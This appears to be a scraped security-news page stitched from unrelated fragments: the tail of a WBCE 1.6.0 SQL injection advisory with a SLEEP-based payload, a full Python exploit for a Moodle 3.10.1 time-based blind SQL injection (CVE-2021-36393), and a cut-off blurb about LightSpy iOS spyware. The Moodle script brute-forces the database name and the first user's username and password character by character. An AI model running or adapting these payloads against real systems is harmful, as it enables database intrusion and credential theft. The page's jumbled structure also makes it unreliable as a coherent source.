action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record

```

The response is received after 6s.

Reference links:

  * https://nvd.nist.gov/vuln/detail/CVE-2023-39796  
  * https://forum.wbce.org/viewtopic.php?pid=42046#p42046  
  * https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1  
  * https://pastebin.com/PBw5AvGp

WBCE 1.6.0 SQL Injection

Moodle version 3.10.1 suffers from a remote time-based SQL injection vulnerability.

    # Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection - "sort" Parameter# Google Dork: # Date: 04/11/2023# Exploit Author: Julio Ángel Ferrari (Aka. T0X1Cx)# Vendor Homepage: https://moodle.org/# Software Link: # Version: 3.10.1# Tested on: Linux# CVE : CVE-2021-36393import requestsimport stringfrom termcolor import colored# Request detailsURL = "http://127.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification"HEADERS = {    "Accept": "application/json, text/javascript, */*; q=0.01",    "Content-Type": "application/json",    "X-Requested-With": "XMLHttpRequest",    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36",    "Origin": "http://127.0.0.1:8080",    "Referer": "http://127.0.0.1:8080/moodle/my/",    "Accept-Encoding": "gzip, deflate",    "Accept-Language": "en-US,en;q=0.9",    "Cookie": "MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0",    "Connection": "close"}# Characters to testcharacters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!@#$^&*()-_=+[]{}|;:'\",.<>?/"def test_character(payload):    response = requests.post(URL, headers=HEADERS, json=[payload])    return response.elapsed.total_seconds() >= 3def extract_value(column, label):    base_payload = {        "index": 0,        "methodname": "core_course_get_enrolled_courses_by_timeline_classification",        "args": {            "offset": 0,            "limit": 0,            "classification": "all",            "sort": "",            "customfieldname": "",            "customfieldvalue": ""        }    }    result = ""    for _ in range(50):  # Assumes a maximum of 50 characters for the value        character_found = False        for character in characters_to_test:            if column == "database()":                base_payload["args"]["sort"] = f"fullname OR (database()) LIKE '{result + character}%' AND SLEEP(3)"            else:                base_payload["args"]["sort"] = f"fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE '{result + character}%' AND SLEEP(3)"                        if test_character(base_payload):                result += character                print(colored(f"{label}: {result}", 'red'), end="\r")                character_found = True                break        if not character_found:            break    # Print the final result    print(colored(f"{label}: {result}", 'red'))if __name__ == "__main__":    extract_value("database()", "Database")    extract_value("username", "Username")    extract_value("password", "Password")

Moodle 3.10.1 SQL Injection

Cybersecurity researchers have discovered a "renewed" cyber espionage campaign targeting users in South Asia with the aim of delivering an Apple iOS spyware implant called LightSpy.
"The latest iteration of LightSpy, dubbed 'F_Warehouse,' boasts a modular framework with extensive spying features," the BlackBerry Threat Research and Intelligence Team said in a report published last

Tag

#apple